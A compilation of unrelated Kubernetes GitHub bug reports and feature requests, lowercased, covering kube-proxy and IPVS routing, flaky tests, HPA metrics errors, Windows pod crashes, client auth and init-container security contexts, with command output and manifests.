<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r it is but the issue is not covered. \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : pod routing , kube-proxy routing  issue \r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r 1.4.7\r \r   environment  :\r \r cluster on ubuntu 14.04 vms with 3.13.0-107-generic kernel, using flannel 0.5.5, etcd 2.3.1, kube_version 1.4.7. kube-proxy is using iptables.\r installed with kube-up.\r \r all the pods expose the same port and are http servers. the services are used through nodeport from outside the cluster. \r \r \r   what happened  :\r usually in high load or after cluster  changes   addition/removal of minions  requests to a nodeport  are sometimes replied by pods of another  service. \r \r \r   what you expected to happen  :\r \r the routing should be consistent. requests should  not be mixed  between services. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r have  a consistent stream of request to a  service, delete a node the restart a service, some of the responses should be from a different service. \r \r   anything else we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r  \r \r   what happened  : attempting to run e2e test on gce without cluster started fails with stack trace\r \r   what you expected to happen  : a useful error message to be printed\r \r   how to reproduce it  as minimally and precisely as possible   :\r without a cluster started:\r    \r % ./hack/ginkgo-e2e.sh --ginkgo.skip=\ \\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ \  --minstartuppods=8 --report-dir=/go/src/k8s.io/kubernetes/_artifacts --disable-log-dump=true\r setting up for kubernetes_provider=\ gce\ .\r project: $project\r network project: $project\r zone: us-west1-a\r trying to find master named '$master'\r looking for address '$master-ip'\r error:  gcloud.compute.addresses.describe  could not fetch resource:\r  - the resource 'projects/$project/regions/us-west1/addresses/$master-ip' was not found\r \r !!!  0914 10:50:40  call tree:\r !!!  0914 10:50:40   1: ./hack/ginkgo-e2e.sh:63 detect-master ... \r !!! error in /home/verb/src/k8s.io/kubernetes/cluster/../cluster/gce/util.sh:405\r   error in /home/verb/src/k8s.io/kubernetes/cluster/../cluster/gce/util.sh:405. '  i<3-1  ' exited with status 1\r call stack:\r   1: /home/verb/src/k8s.io/kubernetes/cluster/../cluster/gce/util.sh:405 detect-master ... \r   2: ./hack/ginkgo-e2e.sh:63 main ... \r exiting with status 1\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r when running kube-proxy with ipvs mode, kube-proxy creates unnecessary ip virtual server listener for \r all local ip addresses on the node when the node has multiple interfaces with ip addresses\r \r for example:\r \r i have node with ip address below, only ip 192.168.1.3 is the actual node ip and part of k8s node network\r \r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown group default qlen 1000\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host\r        valid_lft forever preferred_lft forever\r 2: ens3: <broadcast,multicast,up,lower_up> mtu 1500 qdisc fq_codel state up group default qlen 1000\r     link/ether 52:54:00:a3:c8:7c brd ff:ff:ff:ff:ff:ff\r     inet 10.3.72.11/16 brd 10.3.255.255 scope global ens3\r        valid_lft forever preferred_lft forever\r     inet6 fe80::77cb:be1c:dc24:8adb/64 scope link\r        valid_lft forever preferred_lft forever\r     inet6 fe80::40:45d:be44:aef3/64 scope link tentative dadfailed\r        valid_lft forever preferred_lft forever\r 3: ens4: <broadcast,multicast,up,lower_up> mtu 1400 qdisc fq_codel state up group default qlen 1000\r     link/ether 52:54:00:3b:51:d3 brd ff:ff:ff:ff:ff:ff\r     inet 192.168.1.3/24 brd 192.168.1.255 scope global ens4\r        valid_lft forever preferred_lft forever\r     inet6 fe80::f70a:7bac:ac1d:2a13/64 scope link\r        valid_lft forever preferred_lft forever\r     inet6 fe80::b2da:acea:1527:a657/64 scope link tentative dadfailed\r        valid_lft forever preferred_lft forever\r 4: virbr0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state down group default qlen 1000\r     link/ether 52:54:00:61:06:49 brd ff:ff:ff:ff:ff:ff\r     inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0\r        valid_lft forever preferred_lft forever\r 5: virbr0-nic: <broadcast,multicast> mtu 1500 qdisc fq_codel master virbr0 state down group default qlen 1000\r     link/ether 52:54:00:61:06:49 brd ff:ff:ff:ff:ff:ff\r 6: dummy0: <broadcast,noarp> mtu 1500 qdisc noop state down group default qlen 1000\r     link/ether a6:8c:e4:23:28:64 brd ff:ff:ff:ff:ff:ff\r 7: kube-ipvs0: <broadcast,noarp> mtu 1500 qdisc noop state down group default\r     link/ether 6e:2c:88:6f:44:a1 brd ff:ff:ff:ff:ff:ff\r     inet 10.0.0.1/32 brd 10.0.0.1 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r     inet 10.0.0.10/32 brd 10.0.0.10 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r     inet 10.0.0.144/32 brd 10.0.0.144 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r 8: docker0: <broadcast,multicast,up,lower_up> mtu 1400 qdisc noqueue state up group default\r     link/ether 02:42:dd:8d:a7:53 brd ff:ff:ff:ff:ff:ff\r     inet 172.16.58.1/24 scope global docker0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::42:ddff:fe8d:a753/64 scope link\r        valid_lft forever preferred_lft forever\r \r \r \r  root@fed-master kubernetes   cluster/kubectl.sh get no -o wide\r name          status    roles     age       version                                    external-ip   os-image                 kernel-version           container-runtime\r 192.168.1.3   ready     <none>    2h        v1.10.0-alpha.2.185+1150de9ce65775-dirty   <none>        fedora 26  twenty six    4.11.8-300.fc26.x86_64   docker://1.13.1\r fed-node2     ready     <none>    2h        v1.7.3                                     <none>        fedora 26  twenty six    4.11.8-300.fc26.x86_64   docker://1.13.1\r \r  root@fed-master kubernetes   cluster/kubectl.sh get po -o wide\r name          ready     status    restarts   age       ip            node\r nginx-2rhmk   1/1       running   0          2h        172.16.58.3   192.168.1.3\r nginx-prfjq   1/1       running   0          2h        172.16.54.2   fed-node2\r \r \r  root@fed-master kubernetes   cluster/kubectl.sh get svc -o wide\r name           type        cluster-ip   external-ip   port s         age       selector\r kubernetes     clusterip   10.0.0.1     <none>        443/tcp        2h        <none>\r nginxservice   nodeport    10.0.0.144   <none>        80:32506/tcp   2h        app=nginx\r \r as you can see, ipvs mode create unnecessary listener for all local ip addresses\r \r  root@fed-master kubernetes   ipvsadm -ln\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  172.16.58.1:32506 rr <====not sure if this one is needed\r   -> 172.16.54.2:80               masq    1      0          0\r   -> 172.16.58.3:80               masq    1      0          0\r tcp  192.168.1.3:32506 rr   <=====this one is needed\r   -> 172.16.54.2:80               masq    1      0          12\r   -> 172.16.58.3:80               masq    1      0          12\r tcp  192.168.122.1:32506 rr <==========this is link virbr0 ip, not needed\r   -> 172.16.54.2:80               masq    1      0          0\r   -> 172.16.58.3:80               masq    1      0          0\r \r tcp  10.0.0.144:80 rr <=====not sure if this one needed\r   -> 172.16.54.2:80               masq    1      0          0\r   -> 172.16.58.3:80               masq    1      0          0\r tcp  10.3.72.11:32506 rr <====this is node management network ip, not needed\r   -> 172.16.54.2:80               masq    1      0          0\r   -> 172.16.58.3:80               masq    1      0          0\r tcp  127.0.0.1:32506 rr <=====do we need this one?\r   -> 172.16.54.2:80               masq    1      0          0\r   -> 172.16.58.3:80               masq    1      0          0\r \r \r   what you expected to happen  :\r \r i would expect kube-proxy mode only created ip virtual listener on node ip for k8s services only, not for dummy interface virbr0 or management network ip\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run kube-proxy with ipvs mode and create k8s service\r \r   anything else we need to know?  :\r kube-proxy ipvs mode pkg/proxy/ipvs/proxier.go  has code comment below, maybe we need to re-think about the  node ip set design\r \r // nodeips returns all local type ip addresses from host which are taken as the node ips of nodeport service.\r // firstly, it will list source ip exists in local route table with  kernel  protocol type.  for example,\r // $ ip route show table local type local proto kernel\r // 10.0.0.1 dev kube-ipvs0  scope host  src 10.0.0.1\r // 10.0.0.10 dev kube-ipvs0  scope host  src 10.0.0.10\r // 10.0.0.252 dev kube-ipvs0  scope host  src 10.0.0.252\r // 100.106.89.164 dev eth0  scope host  src 100.106.89.164\r // 127.0.0.0/8 dev lo  scope host  src 127.0.0.1\r // 127.0.0.1 dev lo  scope host  src 127.0.0.1\r // 172.17.0.1 dev docker0  scope host  src 172.17.0.1\r // 192.168.122.1 dev virbr0  scope host  src 192.168.122.1\r // then cut the unique src ip fields,\r // --> result set1:  10.0.0.1, 10.0.0.10, 10.0.0.252, 100.106.89.164, 127.0.0.1, 192.168.122.1 \r \r // note: for cases where an lb acts as a vip  e.g. google cloud , the vip ip is considered local, but the protocol\r // of the entry is 66, e.g.  10.128.0.6 dev ens4  proto 66  scope host .  therefore, the rule mentioned above will\r // filter these entries out.\r \r // secondly, as we bind cluster ips to the dummy interface in ipvs proxier, we need to filter the them out so that\r // we can eventually get the node ips.  fortunately, the dummy interface created by ipvs proxier is known as  kube-ipvs0 ,\r // so we just need to specify the  dev kube-ipvs0  argument in ip route command, for example,\r // $ ip route show table local type local proto kernel dev kube-ipvs0\r // 10.0.0.1  scope host  src 10.0.0.1\r // 10.0.0.10  scope host  src 10.0.0.10\r // then cut the unique src ip fields,\r // --> result set2:  10.0.0.1, 10.0.0.10 \r \r // finally, node ip set = set1 - set2\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r  root@fed-master kubernetes   cluster/kubectl.sh version\r \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.2.185+1150de9ce65775-dirty\ , gitcommit:\ 1150de9ce657758360bb19202e3382fd657bf83e\ , gittreestate:\ dirty\ , builddate:\ 2018-01-31t18:57:28z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.2.185+1150de9ce65775-dirty\ , gitcommit:\ 1150de9ce657758360bb19202e3382fd657bf83e\ , gittreestate:\ dirty\ , builddate:\ 2018-01-31t18:57:28z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: none\r \r locally running k8s\r https://github.com/kubernetes/community/blob/master/contributors/devel/running-locally.md\r \r - os  e.g. from /etc/os-release :\r \r  root@fed-master kubernetes   cat /etc/os-release\r name=fedora\r version=\ 26  twenty six \ \r id=fedora\r version_id=26\r pretty_name=\ fedora 26  twenty six \ \r ansi_color=\ 0;34\ \r cpe_name=\ cpe:/o:fedoraproject:fedora:26\ \r home_url=\ https://fedoraproject.org/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r redhat_bugzilla_product=\ fedora\ \r redhat_bugzilla_product_version=26\r redhat_support_product=\ fedora\ \r redhat_support_product_version=26\r privacy_policy_url=https://fedoraproject.org/wiki/legal:privacypolicy\r \r \r - kernel  e.g.  uname -a  :\r \r linux fed-master 4.11.8-300.fc26.x86_64  1 smp thu jun 29 20:09:48 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r https://github.com/kubernetes/community/blob/master/contributors/devel/running-locally.md\r - others:\r

seeing several of the tests in ./pkg/cloudprovider/providers/gce flake 1 in 5-10 runs when run locally  i am logged in to gcloud .  is it possible one of the apis is not correctly shimmed and is fetching real data?\r \r    \r go test ./pkg/cloudprovider/providers/gce/ -test.run=testensureinternalbackendservicegroups/getregionbackendservice_failed -count=10\r --- fail: testensureinternalbackendservicegroups  0.00s \r     --- fail: testensureinternalbackendservicegroups/getregionbackendservice_failed  0.00s \r     \tgce_loadbalancer_internal_test.go:139:\r     \t\t\terror trace:\tgce_loadbalancer_internal_test.go:139\r     \t\t\terror:      \tnot equal:\r     \t\t\t            \texpected:    compute.backend{  compute.backend  0xc420316e10 ,   compute.backend  0xc420316ea0 }\r     \t\t\t            \tactual  :    compute.backend{  compute.backend  0xc420317290 }\r \r     \t\t\t            \tdiff:\r     \t\t\t            \t--- expected\r     \t\t\t            \t+++ actual\r     \t\t\t            \t@@ -1,2 +1,2 @@\r     \t\t\t            \t-    compute.backend   len=2  {\r     \t\t\t            \t+    compute.backend   len=1  {\r     \t\t\t            \t    compute.backend  {\r     \t\t\t            \t@@ -5,16 +5,3 @@\r     \t\t\t            \t   description:  string  \ \ ,\r     \t\t\t            \t-  group:  string   len=15  \ new-test-node-1\ ,\r     \t\t\t            \t-  maxconnections:  int64  0,\r     \t\t\t            \t-  maxconnectionsperinstance:  int64  0,\r     \t\t\t            \t-  maxrate:  int64  0,\r     \t\t\t            \t-  maxrateperinstance:  float64  0,\r     \t\t\t            \t-  maxutilization:  float64  0,\r     \t\t\t            \t-  forcesendfields:    string  <nil>,\r     \t\t\t            \t-  nullfields:    string  <nil>\r     \t\t\t            \t- } ,\r     \t\t\t            \t-   compute.backend  {\r     \t\t\t            \t-  balancingmode:  string  \ \ ,\r     \t\t\t            \t-  capacityscaler:  float64  0,\r     \t\t\t            \t-  description:  string  \ \ ,\r     \t\t\t            \t-  group:  string   len=15  \ new-test-node-2\ ,\r     \t\t\t            \t+  group:  string   len=118  \ https://www.googleapis.com/compute/v1/projects/test-project/zones/us-central1-b/instancegroups/k8s-ig--test-cluster-id\ ,\r     \t\t\t            \t   maxconnections:  int64  0,\r     \t\t\ttest:       \ttestensureinternalbackendservicegroups/getregionbackendservice_failed\r fail\r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/gce\t0.042s\r    \r \r @kubernetes/sig-cloud-provider-bugs

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i scheduled a pod based on windows server 2016 on a windows server version 1803 node with the alpha hyper-v support enabled. the pod starts, but crashes after some time.\r \r    none\r kubectl get events\r last seen   first seen   count     name                                           kind         subobject                      type      reason                    source                     message\r 51m         51m          1         iis-2016-66c5dc745f.1551e81caf0b94e0           replicaset                                  normal    successfulcreate          replicaset-controller      created pod: iis-2016-66c5dc745f-qvf2n\r 51m         51m          1         iis-2016.1551e81cac19e428                      deployment                                  normal    scalingreplicaset         deployment-controller      scaled up replica set iis-2016-66c5dc745f to 1\r 51m         51m          1         iis-2016-66c5dc745f-qvf2n.1551e81cb04951c3     pod                                         normal    scheduled                 default-scheduler          successfully assigned iis-2016-66c5dc745f-qvf2n to 48797k8s9001\r 51m         51m          1         iis-2016-66c5dc745f-qvf2n.1551e81cc08386c4     pod                                         normal    successfulmountvolume     kubelet, 48797k8s9001      mountvolume.setup succeeded for volume \ default-token-9kndq\ \r 50m         50m          1         48797k8s9001.1551e82771a08e0c                  node                                        normal    starting                  kube-proxy, 48797k8s9001   starting kube-proxy.\r 19m         19m          1         iis-2016-66c5dc745f-qvf2n.1551e9d89c2e7a50     pod          spec.containers{iis}           warning   failed                    kubelet, 48797k8s9001      error: context deadline exceeded\r 19m         19m          1         48797k8s9001.1551e9db66acd6a8                  node                                        warning   containergcfailed         kubelet, 48797k8s9001      rpc error: code = deadlineexceeded desc = context deadline exceeded\r 18m         18m          1         iis.1551e9ed7cb8ed84                           service                                     normal    ensuringloadbalancer      service-controller         ensuring load balancer\r 18m         18m          1         iis.1551e9ed7cb0ed19                           service                                     normal    type                      service-controller         clusterip -> loadbalancer\r 17m         17m          1         iis.1551e9fca1e4caaf                           service                                     normal    ensuredloadbalancer       service-controller         ensured load balancer\r 16m         17m          3         iis-2016-66c5dc745f-qvf2n.1551e9f9c4f67728     pod          spec.containers{iis}           normal    started                   kubelet, 48797k8s9001      started container\r 16m         19m          4         iis-2016-66c5dc745f-qvf2n.1551e9e1ae1504ec     pod          spec.containers{iis}           normal    killing                   kubelet, 48797k8s9001      killing container with id docker://iis:need to kill pod\r 15m         50m          5         iis-2016-66c5dc745f-qvf2n.1551e828be459cb0     pod          spec.containers{iis}           normal    pulling                   kubelet, 48797k8s9001      pulling image \ microsoft/iis:windowsservercore-ltsc2016\ \r 15m         21m          5         iis-2016-66c5dc745f-qvf2n.1551e9bca3b5c114     pod          spec.containers{iis}           normal    pulled                    kubelet, 48797k8s9001      successfully pulled image \ microsoft/iis:windowsservercore-ltsc2016\ \r 15m         21m          5         iis-2016-66c5dc745f-qvf2n.1551e9bcaafb3b5c     pod          spec.containers{iis}           normal    created                   kubelet, 48797k8s9001      created container\r 11m         19m          19        iis-2016-66c5dc745f-qvf2n.1551e9e00f6a774c     pod                                         normal    sandboxchanged            kubelet, 48797k8s9001      pod sandbox changed, it will be killed and re-created.\r 1m          14m          62        iis-2016-66c5dc745f-qvf2n.1551ea26430985e8     pod          spec.containers{iis}           warning   backoff                   kubelet, 48797k8s9001      back-off restarting failed container\r    \r \r   what you expected to happen  :\r \r no crashes\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy k8s v1.10.6 cluster with windows nodes. use acs-engine with this  apimodel  https://github.com/azure/acs-engine/blob/master/examples/windows/kubernetes-hyperv.json \r 2.  kubectl create -f https://raw.githubusercontent.com/patricklang/windows-k8s-samples/master/hypervexamples/iis-2016.yaml \r \r   anything else we need to know?  :\r \r  cc @feiskyer \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.6\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : windows server version 1803  on nodes  \r - kernel  e.g.  uname -a  :10.0.17134.228\r

fyi. just reference to  19152,  18174, maybe a round robin or random pick should be used with multiple endpoints.

/assign @saad-ali @childsb \r \r the   k8s.io  persistentvolumes  volume   k8s.io  persistentvolumes:nfs with multiple pvs and pvcs all in same ns should create 4 pvs and 2 pvcs: test write access  test flaked six times last week during blocking presubmit testing of prs.\r \r the http://go.k8s.io/triage page can focus on a single test:  link  https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=persistentvolumes%3anfs%20with%20multiple%20pvs%20and%20pvcs%20all%20in%20same%20ns%20should%20create%204%20pvs%20and%202%20pvcs%3a%20test%20write%20access \r \r the triage pays shows that 16 out of 30 failures match  the following pattern  https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=persistentvolumes%3anfs%20with%20multiple%20pvs%20and%20pvcs%20all%20in%20same%20ns%20should%20create%204%20pvs%20and%202%20pvcs%3a%20test%20write%20access :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes.go:270\r expected error:\r     < errors.errorstring | 0xc4212647e0>: {\r         s: \ pod \\\ pvc-tester-9rq90\\\  did not exit with success: pod \\\ pvc-tester-9rq90\\\  failed to reach success: gave up waiting for pod 'pvc-tester-9rq90' to be 'success or failure' after 5m0s\ ,\r     }\r     pod \ pvc-tester-9rq90\  did not exit with success: pod \ pvc-tester-9rq90\  failed to reach success: gave up waiting for pod 'pvc-tester-9rq90' to be 'success or failure' after 5m0s\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes.go:269\r

feature request  :\r provide an input option to controller manager and scheduler to lock on user specified configmaps vs. endpoints to remove the known scalability, and security issues that exist. \r \r   kubernetes version   :\r 1.7+\r \r   environment  :\r all \r \r /cc @kubernetes/sig-cluster-lifecycle-feature-requests @kubernetes/sig-scheduling-feature-requests \r

what happened  :\r fail to use hpa, the status is unknown\r kubectl get hpa\r name         reference               targets           minpods   maxpods   replicas   age\r php-apache   deployment/php-apache   <unknown> / 50%   1         10        1          15m\r \r   what you expected to happen  :\r it should have value on targets\r \r   how to reproduce it  as minimally and precisely as possible   :\r always\r \r   anything else we need to know?  :\r below is error msg\r horizontalpodautoscaler                                      warning   failedcomputemetricsreplicas   horizontal-pod-autoscaler                                  failed to get cpu utilization: unable to get metrics for resource cpu: failed to get pod resource metrics: an error on the server  \ error: 'dial tcp 172.18.16.2:8082: getsockopt: connection timed out'\ trying to reach: 'http://172.18.16.2:8082/apis/metrics/v1alpha1/namespaces/default/pods?labelselector=run%3dphp-apache'\   has prevented the request from succeeding  get services http:heapster:\r \r i have try to get 'http://172.18.16.2:8082/apis/metrics/v1alpha1/namespaces/default/pods?labelselector=run%3dphp-apache' from a pod\r the result is good\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r aws\r \r - os  e.g. from /etc/os-release :\r cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r uname -a\r linux ip-10-102-4-87 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r probably not a bug...more like a removed feature\r \r  \r   what happened  :\r basic auth not generated on client libraries\r \r   what you expected to happen  :\r i am reviewing a ticket on the python kubernetes-client generated library. this issue is related to the lack of support of basic authentication on the python generated library and track here:  \r \r https://github.com/kubernetes-client/python/issues/430 \r \r after investigation i assume this is because the swagger file does not contain the basic security definition  as explained more in detail in the ticket .  \r \r i have very limited on kubernetes and i think this is done on purpose but the official doc still contains this method of authentication: \r \r \ kubernetes uses client certificates, bearer tokens, an authenticating proxy, or http basic auth to authenticate....\   from https://kubernetes.io/docs/admin/authentication/ .  \r \r in addition, i also confirm that it is usable  after modifying the swagger file and generate again the python client library with a kubernetes cluster created on gke . \r \r i try to find more info on why the basic auth could had been removed from the swagger file but did not find too much except the following issue: \r \r https://github.com/kubernetes/kubernetes/issues/10351 \r \r i wonder if anybody know why the basic auth is not present on the swagger file  and thus not available on the generated client library  even if it seems supported and working? \r

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r created a deployment with an  initcontainer  which has a privileged security context and this privileged context extended to the container of the deployment.\r \r   what you expected to happen  :\r \r that the security context defined for initcontainers does not extend to containers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r deployment\r \r    yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   generation: 1\r   labels:\r     app: docker-elasticsearch\r     release: docker-elasticsearch\r     storage: docker-elasticsearch\r   name: docker-elasticsearch\r spec:\r   podmanagementpolicy: orderedready\r   replicas: 1\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       app: docker-elasticsearch\r       release: docker-elasticsearch\r       storage: docker-elasticsearch\r   servicename: internal\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: docker-elasticsearch\r         release: docker-elasticsearch\r         storage: docker-elasticsearch\r     spec:\r       containers:\r       - image: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/docker-elasticsearch:0.0.0.12\r         imagepullpolicy: always\r         name: pod\r         ports:\r         - containerport: 9200\r           name: http\r           protocol: tcp\r         - containerport: 9300\r           name: transport\r           protocol: tcp\r         resources:\r           requests:\r             cpu: 10m\r             memory: 1gi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /data/data\r           name: data\r         - mountpath: /data/logs\r           name: log\r       dnspolicy: clusterfirst\r       initcontainers:\r       - command:\r         - sysctl\r         - -w\r         - vm.max_map_count=262144\r         image: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/docker-elasticsearch:0.0.0.12\r         imagepullpolicy: always\r         name: init-pod\r         resources: {}\r         securitycontext:\r           capabilities:\r             add:\r             - ipc_lock\r             - sys_resource\r           privileged: true\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r       volumes:\r       - name: data\r         persistentvolumeclaim:\r           claimname: data-docker-elasticsearch\r       - name: log\r         persistentvolumeclaim:\r           claimname: log-docker-elasticsearch\r   updatestrategy:\r     type: ondelete\r    \r \r    shell\r $ kubectl exec docker-elasticsearch-0 -it bash\r error from server  forbidden : pods \ docker-elasticsearch-0\  is forbidden: cannot exec into or attach to a privileged container\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2\r - cloud provider or hardware configuration: azure \r - os  e.g. from /etc/os-release : ubuntu 16.04\r - install tools: acs-engine\r

testdeepcopyapiobjects: this test outputs ~14k lines of failure dumps and is absolutely impossible to do anything with - the output should be throttled or optional.

good day! could anyone please shed some light why rbd plugin mounts ceph   rbd   device twice? this is mount command output   /dev/rbd0 on /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/rbd-image-nginxy-nginx-drive__sep__bliss type ext4  rw,relatime,seclabel,stripe=1024,data=ordered      /dev/rbd0 on /var/lib/kubelet/pods/b0ba3df0-42b1-11e5-8717-52540051caca/volumes/kubernetes.io~rbd/usr-share-nginx-html3648334128 type ext4  rw,relatime,seclabel,stripe=1024,data=ordered    this is rbd showmapped output   0  rbd  nginxy-nginx-drive__sep__bliss -    /dev/rbd0   thank you!

hello, any progress being made on  this  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/custom-metrics.md ?

cf  35013 - when we get the region from the aws metadata, we should probably assume it is valid, rather than validating against a static list.

the copy button in the documentation examples can sometimes cause a success popup that can not be closed, this occurs when the example is large. the petset example is the easiest to reproduce this on http://kubernetes.io/docs/user-guide/petset/\r \r hit the copy button on the example and the dialog pops up saying what was copied.  the dialog extends off the top and bottom of the screen, causing the close button to be unclickable.  clicking outside the dialog area does not close the dialog either.\r \r putting the entire contents of what was copied into the popup seems unnecessary.\r \r screenshot below is not cropped, this is what my browser screen looked like after clicking copy:\r \r ! kube-docs-copy  https://cloud.githubusercontent.com/assets/1467629/21316911/ea13db48-c5d0-11e6-8549-1a461293f037.png \r

occurred here: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/48366/pull-kubernetes-unit/38649/\r \r log: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/48366/pull-kubernetes-unit/38649/?log log\r \r  i0630 15:14:38.018  fail\tk8s.io/kubernetes/federation/pkg/federation-controller/sync\t9.274s

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r    \r root@ma1demo6:~/k82cn/src/k8s.io/kubernetes  make test-integration what=./test/integration/scheduler\r +++  0930 22:29:03  checking etcd is on path\r /root/k82cn/bin/etcd\r +++  0930 22:29:03  starting etcd instance\r etcd --advertise-client-urls http://127.0.0.1:2379 --data-dir /tmp/tmp.9nvejkwnyp --listen-client-urls http://127.0.0.1:2379 --debug > \ /dev/null\  2>/dev/null\r waiting for etcd to come up.\r +++  0930 22:29:04  on try 1, etcd: : http://127.0.0.1:2379\r {\ action\ :\ set\ ,\ node\ :{\ key\ :\ /_test\ ,\ value\ :\ \ ,\ modifiedindex\ :4,\ createdindex\ :4}}\r +++  0930 22:29:04  running integration test cases\r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admission.k8s.io/v1alpha1,apps/v1beta1,apps/v1beta2,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,\r +++  0930 22:29:06  running tests without code coverage\r ok  \tk8s.io/kubernetes/test/integration/scheduler\t456.576s\r +++  0930 22:38:01  cleaning up etcd\r +++  0930 22:38:01  integration test cleanup complete\r    \r \r

